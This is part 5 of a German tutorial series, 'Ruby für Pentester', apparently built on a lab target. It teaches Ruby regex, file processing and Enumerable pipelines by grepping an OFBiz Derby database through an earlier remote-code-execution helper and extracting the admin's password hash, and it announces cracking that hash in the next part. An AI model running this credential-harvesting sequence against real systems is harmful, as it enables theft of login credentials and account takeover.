// Ruby für Pentester · Teil 5
Die Datenbank plündern
Mit einer Shell als ofbiz gehen wir dem Admin-Passwort-Hash nach. OFBiz' eingebettete Derby-Datenbank liegt als flache Dateien auf der Platte — wir greppen sie und lernen dann Regex und Dateiverarbeitung, um den Hash sauber herauszuziehen.
Wir haben eine Shell als ofbiz, aber das ist ein niedrig privilegiertes
Dienstkonto. Um weiterzukommen, brauchen wir Zugangsdaten, und OFBiz bewahrt sie
in seiner eingebetteten Apache-Derby-Datenbank auf. Hier die nützliche
Tatsache: Statt die Datenbank-Engine abzufragen, persistiert Derby jede Tabelle
als flache .dat-Segmentdateien auf der Platte — und die sind im Klartext
durchsuchbar. Die Passwort-Zeile des Admins liegt also einfach da unter
/opt/ofbiz/runtime/data/derby/ofbiz/seg0/ und wartet auf ein grep.
Durch unsere RCE greppen
Wir haben run noch aus Teil 3. Richte es auf die Segmentdateien:
loot = run("grep -ar 'SHA' /opt/ofbiz/runtime/data/derby/ofbiz/seg0/")
(Dieser Kommando-String ist nur deshalb doppelt gequotet, weil er einfache
Anführungszeichen enthält — 'SHA' — nicht weil er interpoliert.) Unter der
Ausgabe ist die UserLogin-Zeile für admin:
currentPassword="$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I" userLoginId="admin"
Wir haben den Hash — nun ziehen wir ihn per Code heraus statt mit dem Auge.
Regex: Struktur aus Text ziehen
Ein regulärer Ausdruck beschreibt ein Muster. In Ruby stehen sie zwischen
Schrägstrichen: /muster/. Die schnellste Extraktion ist String#[] mit einer
Regex und einer Fanggruppe — dem Teil in Klammern, den du zurückhaben willst:
hash = loot[/currentPassword="(\$SHA\$[^"]+)"/, 1]
puts hash # => $SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I
Das Muster gelesen:
currentPassword="— literaler Text, an dem wir uns verankern.\$SHA\$— ein literales$SHA$.$bedeutet in Regex „Zeilenende”, also escapen wir es mit\$, damit es ein echtes Dollarzeichen meint.[^"]+— eine Zeichenklasse: ein oder mehr Zeichen, die kein Anführungszeichen sind. So sagt man „nimm alles bis zum schließenden Quote”.- Die
(...)darum ist die Fanggruppe; das, 1sagt[], dass Gruppe 1 zurückgegeben werden soll.
Benannte Gruppen, für mehr als ein Feld
Wenn du mehrere Teile willst, liest sich String#match plus benannte Gruppen
((?<name>...)) besser als das Zählen von Gruppennummern:
m = loot.match(/currentPassword="(?<hash>\$SHA\$[^"]+)".*?userLoginId="(?<user>\w+)"/m)
puts "#{m[:user]} => #{m[:hash]}" # => admin => $SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I
(?<hash>...)und(?<user>...)benennen die Gruppen;m[:hash]/m[:user]lesen sie aus denMatchDataheraus.\w+ist „ein oder mehr Wortzeichen” (Buchstaben, Ziffern, Unterstrich) — genug für einen Benutzernamen.- Das abschließende
/mlässt.auch Zeilenumbrüche treffen, falls die Felder über Zeilen verteilt sind.
Dieselbe Fertigkeit auf lokalen Dateien
Oft hast du einen Dump zurück auf deine Box gezogen. Dateien zu lesen und zu durchsuchen ist dieselbe Regex, eingepackt in Dateiverarbeitung:
Dir.glob('/loot/**/*.dat').each do |path|
File.foreach(path, mode: 'rb') do |line|
puts line[/\$SHA\$[^"]+/] if line.include?('$SHA$')
end
end
Dir.glob('/loot/**/*.dat')findet jede.dat-Datei rekursiv (**).File.foreach(path, mode: 'rb')streamt die Datei Zeile für Zeile, im Binär-Modus. Diesesmode: 'rb'ist wichtig: Derbys.dat-Dateien sind binär, und sie als Text zu lesen (die Voreinstellung, UTF-8) lässtline[/regex/]mitinvalid byte sequenceexplodieren, sobald es auf ein Nicht-Text-Byte trifft. Der Binär-Modus liest rohe Bytes, und eine ASCII-Regex matcht sie trotzdem einwandfrei.- Dann dieselbe
line[/regex/]-Extraktion pro Zeile.
Blöcke und der Enumerable-Werkzeugkasten
Dieses do |path| ... end, das du immer wieder an each übergibst, ist ein
Block — ein Stück Code, das du einer Methode zum Aufrufen übergibst. Es ist
das Ruby-igste überhaupt: each führt den Block einmal pro Element aus,
Thread.new führte einen im Hintergrund aus (Teil 4), File.foreach führt einen
pro Zeile aus. Überall dieselbe Idee.
each schleift nur. Seine Vettern auf Enumerable transformieren, und sie
verketten sich zu einer Pipeline — genau das, was aus einem Haufen Zeilen sauberen
Loot macht:
hashes = File.readlines('/loot/UserLogin.dat', mode: 'rb')
.select { |line| line.include?('$SHA$') }
.map { |line| line[/\$SHA\$[^"]+/] }
.uniq
puts hashes
readlinesliest die ganze Datei in ein Array aus Zeilen.select { }behält nur Elemente, für die der Block truthy ist — die Zeilen mit einem Hash darin.map { }verwandelt jede überlebende Zeile in nur ihren Hash.uniqwirft Duplikate weg und lässt ein Array eindeutiger Hashes übrig.{ |line| ... }ist auch ein Block — geschweifte Klammern für Einzeiler,do ... endfür mehrzeilige, rein per Konvention.
select, map und uniq (mit Vettern wie reject, count und sort) sind die
alltäglichen Werkzeuge, zu denen du bei jeder Sammlung in Ruby greifst, nicht
nur bei Loot.
Erkenntnisse
- Eingebettete Datenbanken (hier Derby) persistieren Tabellen oft als
klartext-durchsuchbare Dateien —
grep/stringsschlägt das Hochfahren der DB-Engine. - Eine Regex (
/.../) mit einer Fanggruppe ((...)) plusString#[]zieht einen Teilstring heraus; escape Regex-Metazeichen wie$als\$. - Benannte Gruppen (
(?<name>...)) +String#matchlesen sich sauber, wenn du mehrere Felder aus einem Treffer willst. Dir.glob(mit**) findet Dateien;File.foreachstreamt sie Zeile für Zeile — lies binären Loot im Binär-Modus (mode: 'rb'), damit ein verirrtes Byte deine Regex nicht abstürzen lässt.- Ein Block (
do |x| ... endoder{ |x| ... }) ist Code, den du einer Methode übergibst;each/select/map/uniqauf Enumerable verketten sich zu Daten-Pipelines — Kern-Ruby, das du überall nutzt.
Übungen
- Zieh mit
selectundmapjedenuserLoginId-Wert aus dem Dump in ein Array von Benutzernamen. - Fass dieses
select { }.map { }in ein einzigesgrepmit Block zusammen:grep(/\$SHA\$/) { |l| l[/\$SHA\$[^"]+/] }filtert und extrahiert in einem Durchgang. - Bau einen Hash
{ username => hash }aus dem Dump, mit einer Named-Capture-Regex undeach_with_object({}).
Weiter — Teil 6: Dieser $SHA$d$-Hash ist kein Standardformat. Wir bilden
OFBiz’ genaues Hashing in Ruby nach, um ihn zu knacken — dann parallelisieren wir
es mit einem Thread-Pool und treffen die GVL.